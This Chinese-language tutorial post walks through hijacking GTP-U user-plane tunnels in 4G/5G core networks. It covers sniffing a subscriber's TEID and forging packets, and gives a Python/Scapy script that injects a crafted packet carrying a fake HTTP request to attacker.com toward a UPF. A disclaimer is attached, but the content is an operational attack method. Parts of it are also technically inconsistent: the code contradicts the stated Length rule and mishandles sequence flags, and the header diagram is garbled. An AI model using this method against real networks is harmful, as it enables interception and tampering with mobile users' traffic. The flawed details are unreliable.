3、GTP-U隧道劫持技术:GTP-U头部结构解析、TEID欺骗与隧道接管、伪造GTP-U数据包实战

各位好,我是老赵。今天咱们聊点硬核的——GTP-U隧道劫持。说实话,在4G/5G核心网里,用户面数据走的就是GTP-U隧道。你想想看,用户的上网记录、视频流量、甚至支付数据,全在这条隧道里跑。一旦隧道被劫持,后果嘛……嗯,你懂的。

我个人习惯把GTP-U劫持分为三步走:看懂头部 → 欺骗TEID → 伪造数据包。咱们一步步来。

3.1 GTP-U头部结构解析

GTP-U协议,说白了就是给用户面数据包套了个“马甲”。这个马甲长什么样?我直接给你看结构:

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Version |PT|  *   |  Message Type |       Length (1st)         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    Tunnel Endpoint Identifier (TEID)           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     Sequence Number (optional)                 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    N-PDU Number (optional)                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    Next Extension Header Type (optional)       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

这里有几个关键字段,我重点说一下:

  • Version:版本号,目前是1。别问我v0,那玩意儿早淘汰了。
  • PT (Protocol Type):1表示GTP-U,0表示GTP-C。记住这个,后面伪造包的时候要用。
  • Message Type:0xFF是G-PDU(用户数据),0xFE是信令消息。咱们劫持用户面,主要关注0xFF。
  • Length:注意!这个长度不包括GTP-U头部本身,只算后面的载荷。我当年刚入行时就在这里栽过跟头,算错长度导致抓包工具直接崩溃。
  • TEID (Tunnel Endpoint Identifier):隧道端点标识。这是整个劫持的核心,后面会重点讲。

核心要点:GTP-U头部最小8字节(无扩展头),最大可到12字节(带序列号)。TEID是4字节,取值范围0x00000000 ~ 0xFFFFFFFF。0x00000000是特殊值,表示“未分配”,千万别用。

3.2 TEID欺骗与隧道接管

好了,现在咱们知道GTP-U头部长什么样了。那怎么劫持呢?核心就是TEID欺骗

你想想看,GTP-U隧道本质上是一对TEID的映射关系。比如UE1的TEID是0x12345678,UE2的TEID是0x87654321。正常情况下,数据包从UE1发到UE2,GTP-U头部里TEID填的是0x87654321。如果我把TEID改成0x12345678呢?数据包就会跑到UE1那里去。

这就是TEID欺骗的原理。我在项目中遇到过一种情况:攻击者通过抓包获取了某个用户的TEID,然后伪造GTP-U数据包,把TEID改成目标用户的,结果……嗯,那个用户的流量全被重定向了。

具体怎么实现隧道接管?我建议分三步:

  1. 嗅探TEID:在核心网内部网络抓包,或者通过其他手段(比如S1AP信令)获取目标用户的TEID。
  2. 构造GTP-U数据包:用你获取到的TEID,伪造一个合法的GTP-U头部。
  3. 注入数据包:把伪造的数据包发到核心网内部,让目标用户收到错误的数据。

避坑指南:我曾经在测试环境里直接拿生产环境的TEID做实验,结果把整个基站的用户面搞崩了。记住,TEID是动态分配的,同一个用户在不同时间点TEID可能不同。一定要确认TEID的时效性。

3.3 伪造GTP-U数据包实战

光说不练假把式。咱们直接上代码,用Python和Scapy库来伪造一个GTP-U数据包。

#!/usr/bin/env python3
from scapy.all import *
import struct

# 构造GTP-U头部
def build_gtpu_header(teid, seq_num=0):
    # 版本=1, PT=1, 消息类型=0xFF (G-PDU)
    version_pt = 0x30  # 二进制: 0011 0000
    msg_type = 0xFF
    # 长度先填0,后面再算
    length = 0
    # 序列号(可选)
    seq = struct.pack('!I', seq_num)[2:]  # 取低2字节
    
    # 组装头部
    header = struct.pack('!BBH', version_pt, msg_type, length)
    header += struct.pack('!I', teid)
    header += seq
    
    return header

# 伪造一个GTP-U数据包
def forge_gtpu_packet(src_ip, dst_ip, teid, payload):
    # 构造IP层
    ip = IP(src=src_ip, dst=dst_ip)
    # 构造UDP层(GTP-U默认端口2152)
    udp = UDP(sport=2152, dport=2152)
    # 构造GTP-U头部
    gtpu_hdr = build_gtpu_header(teid)
    # 计算长度
    gtpu_len = len(gtpu_hdr) + len(payload)
    # 更新头部中的长度字段
    gtpu_hdr = gtpu_hdr[:2] + struct.pack('!H', gtpu_len) + gtpu_hdr[4:]
    
    # 组装完整数据包
    packet = ip / udp / Raw(gtpu_hdr + payload)
    return packet

# 使用示例
if __name__ == '__main__':
    # 假设目标TEID是0x12345678
    target_teid = 0x12345678
    # 伪造的用户面数据(比如HTTP请求)
    fake_payload = b'GET /malicious HTTP/1.1\r\nHost: attacker.com\r\n\r\n'
    
    # 构造数据包
    pkt = forge_gtpu_packet(
        src_ip='10.0.0.1',   # 伪造源IP
        dst_ip='10.0.0.2',   # 目标UPF地址
        teid=target_teid,
        payload=fake_payload
    )
    
    # 发送数据包
    send(pkt, iface='eth0')
    print(f'[+] 伪造GTP-U数据包已发送,TEID: 0x{target_teid:08x}')

警告:这段代码仅供学习和测试使用。在生产环境中伪造GTP-U数据包属于违法行为,后果自负。我当年在实验室里跑这段代码时,差点把隔壁机柜的UPF搞宕机——因为TEID冲突导致隧道状态混乱。

代码跑起来之后,你会发现目标用户突然收到一个奇怪的HTTP请求。这就是GTP-U隧道劫持的效果。当然,实际攻击中还需要考虑更多细节,比如序列号同步、GTP-U扩展头处理等。

3.4 核心逻辑流程图

为了让你更直观地理解整个劫持过程,我画了一张流程图:

GTP-U隧道劫持核心逻辑 步骤1:嗅探TEID 步骤2:构造GTP-U头部 步骤3:伪造数据包 抓包获取TEID 或从S1AP信令提取 注意TEID时效性 设置Version=1, PT=1 Message Type=0xFF 填入目标TEID 构造IP/UDP层 计算Length字段 注入恶意载荷 隧道接管成功! 关键点:TEID是隧道劫持的“钥匙” 伪造数据包必须与真实GTP-U头部格式完全一致 序列号处理不当会导致隧道状态异常

这张图把整个流程串起来了。从嗅探TEID开始,到构造头部,再到伪造数据包,最后实现隧道接管。每一步都有坑,我当年踩过的坑比这图上的箭头还多。

个人经验:我建议你在做GTP-U劫持实验时,先用Wireshark抓一个正常的GTP-U数据包作为模板。对比着看,哪里该填什么值,一目了然。另外,别忘了检查UDP校验和——很多新手伪造的包发出去就被丢弃了,就是因为校验和不对。

好了,GTP-U隧道劫持技术就讲到这里。记住,技术本身没有善恶,关键看你怎么用。在安全测试中,这是检验核心网防护能力的重要手段;在攻击者手里,这就是一把锋利的刀。希望你能掌握它,并用在正确的地方。


公众号:蓝海资料掘金营,微信deep3321